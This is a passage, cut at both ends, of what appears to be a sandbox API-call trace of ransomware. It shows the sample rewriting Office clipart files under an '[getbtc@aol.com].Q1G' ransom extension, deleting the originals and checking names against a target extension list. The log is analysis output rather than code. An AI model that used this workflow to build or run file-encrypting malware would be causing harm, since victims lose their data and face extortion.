dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.970] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0264.970] GetLastError () returned 0x0 [0264.971] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x21da, lpOverlapped=0x0) returned 1 [0264.972] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x21e0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x21e0, lpOverlapped=0x0) returned 1 [0264.973] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.973] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.973] SetEndOfFile (hFile=0x360) returned 1 [0264.973] CloseHandle (hObject=0x360) returned 1 [0264.973] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.973] SetEndOfFile (hFile=0x390) returned 1 [0264.977] CloseHandle (hObject=0x390) returned 1 [0264.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf")) returned 1 [0264.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0264.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0264.979] lstrlenW (lpString=".doc") returned 4 [0264.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.979] lstrlenW (lpString=".docx") returned 5 [0264.979] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0264.979] lstrlenW (lpString=".pdf") returned 4 [0264.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.979] lstrlenW (lpString=".xls") returned 4 [0264.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.979] lstrlenW (lpString=".xlsx") returned 5 [0264.979] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0264.979] lstrlenW (lpString=".ppt") returned 4 [0264.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0264.979] lstrlenW (lpString=".zip") returned 4 [0264.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.979] lstrlenW (lpString=".rar") returned 4 [0264.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.979] lstrlenW (lpString=".bz2") returned 4 [0264.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.979] lstrlenW (lpString=".7z") returned 3 [0264.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0264.979] lstrlenW (lpString=".dbf") returned 4 [0264.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0264.979] lstrlenW (lpString=".1cd") returned 4 [0264.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0264.979] lstrlenW (lpString=".jpg") returned 4 [0264.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0264.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0264.979] lstrlenW (lpString=".doc") returned 4 [0264.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.979] lstrlenW (lpString=".docx") returned 5 [0264.980] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0264.980] lstrlenW (lpString=".pdf") returned 4 [0264.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.980] lstrlenW (lpString=".xls") returned 4 [0264.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.980] lstrlenW (lpString=".xlsx") returned 5 [0264.980] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0264.980] lstrlenW (lpString=".ppt") returned 4 [0264.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0264.980] lstrlenW (lpString=".zip") returned 4 [0264.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.980] lstrlenW (lpString=".rar") returned 4 [0264.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.980] lstrlenW (lpString=".bz2") returned 4 [0264.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.980] lstrlenW (lpString=".7z") returned 3 [0264.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0264.980] lstrlenW (lpString=".dbf") returned 4 [0264.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0264.980] lstrlenW (lpString=".1cd") returned 4 [0264.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0264.980] lstrlenW (lpString=".jpg") returned 4 [0264.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.980] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.980] lstrlenW (lpString="J0186360.WMF") returned 12 [0264.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.981] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=33850) returned 1 [0264.981] CloseHandle (hObject=0x390) returned 1 [0264.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf")) returned 0x20 [0264.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.981] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.981] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0264.982] GetLastError () returned 0x0 [0264.982] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x843a, lpOverlapped=0x0) returned 1 [0264.984] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x8440, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x8440, lpOverlapped=0x0) returned 1 [0264.985] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.985] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.985] SetEndOfFile (hFile=0x360) returned 1 [0264.986] CloseHandle (hObject=0x360) returned 1 [0264.986] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.986] SetEndOfFile (hFile=0x390) returned 1 [0264.988] CloseHandle (hObject=0x390) returned 1 [0264.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.988] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf")) returned 1 [0264.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0264.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0264.989] lstrlenW (lpString=".doc") returned 4 [0264.989] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.989] lstrlenW (lpString=".docx") returned 5 [0264.989] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0264.989] lstrlenW (lpString=".pdf") returned 4 [0264.989] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.989] lstrlenW (lpString=".xls") returned 4 [0264.989] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.989] lstrlenW (lpString=".xlsx") returned 5 [0264.989] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0264.989] lstrlenW (lpString=".ppt") returned 4 [0264.989] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0264.989] lstrlenW (lpString=".zip") returned 4 [0264.989] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.989] lstrlenW (lpString=".rar") returned 4 [0264.989] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.990] lstrlenW (lpString=".bz2") returned 4 [0264.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.990] lstrlenW (lpString=".7z") returned 3 [0264.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0264.990] lstrlenW (lpString=".dbf") returned 4 [0264.990] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0264.990] lstrlenW (lpString=".1cd") returned 4 [0264.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0264.990] lstrlenW (lpString=".jpg") returned 4 [0264.990] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0264.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0264.990] lstrlenW (lpString=".doc") returned 4 [0264.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.990] lstrlenW (lpString=".docx") returned 5 [0264.990] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0264.990] lstrlenW (lpString=".pdf") returned 4 [0264.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.990] lstrlenW (lpString=".xls") returned 4 [0264.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.990] lstrlenW (lpString=".xlsx") returned 5 [0264.990] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0264.990] lstrlenW (lpString=".ppt") returned 4 [0264.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0264.990] lstrlenW (lpString=".zip") returned 4 [0264.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.990] lstrlenW (lpString=".rar") returned 4 [0264.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.990] lstrlenW (lpString=".bz2") returned 4 [0264.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.990] lstrlenW (lpString=".7z") returned 3 [0264.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0264.991] lstrlenW (lpString=".dbf") returned 4 [0264.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0264.991] lstrlenW (lpString=".1cd") returned 4 [0264.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0264.991] lstrlenW (lpString=".jpg") returned 4 [0264.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.991] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.991] lstrlenW (lpString="J0186362.WMF") returned 12 [0264.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.991] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=17662) returned 1 [0264.991] CloseHandle (hObject=0x390) returned 1 [0264.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf")) returned 0x20 [0264.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.992] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.992] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0264.993] GetLastError () returned 0x0 [0264.993] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x44fe, lpOverlapped=0x0) returned 1 [0264.994] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x4500, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x4500, lpOverlapped=0x0) returned 1 [0264.995] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.995] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.996] SetEndOfFile (hFile=0x360) returned 1 [0264.996] CloseHandle (hObject=0x360) returned 1 [0264.996] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.996] SetEndOfFile (hFile=0x390) returned 1 [0264.998] CloseHandle (hObject=0x390) returned 1 [0264.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.998] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf")) returned 1 [0264.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0264.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0264.999] lstrlenW (lpString=".doc") returned 4 [0264.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.999] lstrlenW (lpString=".docx") returned 5 [0264.999] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0264.999] lstrlenW (lpString=".pdf") returned 4 [0264.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.999] lstrlenW (lpString=".xls") returned 4 [0264.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.999] lstrlenW (lpString=".xlsx") returned 5 [0264.999] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0264.999] lstrlenW (lpString=".ppt") returned 4 [0264.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0264.999] lstrlenW (lpString=".zip") returned 4 [0264.999] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.999] lstrlenW (lpString=".rar") returned 4 [0264.999] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.999] lstrlenW (lpString=".bz2") returned 4 [0264.999] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.999] lstrlenW (lpString=".7z") returned 3 [0264.999] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0264.999] lstrlenW (lpString=".dbf") returned 4 [0264.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0264.999] lstrlenW (lpString=".1cd") returned 4 [0264.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0264.999] lstrlenW (lpString=".jpg") returned 4 [0264.999] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0265.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0265.000] lstrlenW (lpString=".doc") returned 4 [0265.000] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.000] lstrlenW (lpString=".docx") returned 5 [0265.000] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0265.000] lstrlenW (lpString=".pdf") returned 4 [0265.000] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.000] lstrlenW (lpString=".xls") returned 4 [0265.000] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.000] lstrlenW (lpString=".xlsx") returned 5 [0265.000] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0265.000] lstrlenW (lpString=".ppt") returned 4 [0265.000] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0265.000] lstrlenW (lpString=".zip") returned 4 [0265.000] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.000] lstrlenW (lpString=".rar") returned 4 [0265.000] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.000] lstrlenW (lpString=".bz2") returned 4 [0265.000] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.000] lstrlenW (lpString=".7z") returned 3 [0265.000] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0265.000] lstrlenW (lpString=".dbf") returned 4 [0265.000] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0265.000] lstrlenW (lpString=".1cd") returned 4 [0265.000] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0265.000] lstrlenW (lpString=".jpg") returned 4 [0265.000] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.000] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.001] lstrlenW (lpString="J0186364.WMF") returned 12 [0265.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.001] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=18212) returned 1 [0265.001] CloseHandle (hObject=0x390) returned 1 [0265.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf")) returned 0x20 [0265.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.002] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.002] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.169] GetLastError () returned 0x0 [0265.169] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x4724, lpOverlapped=0x0) returned 1 [0265.170] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, 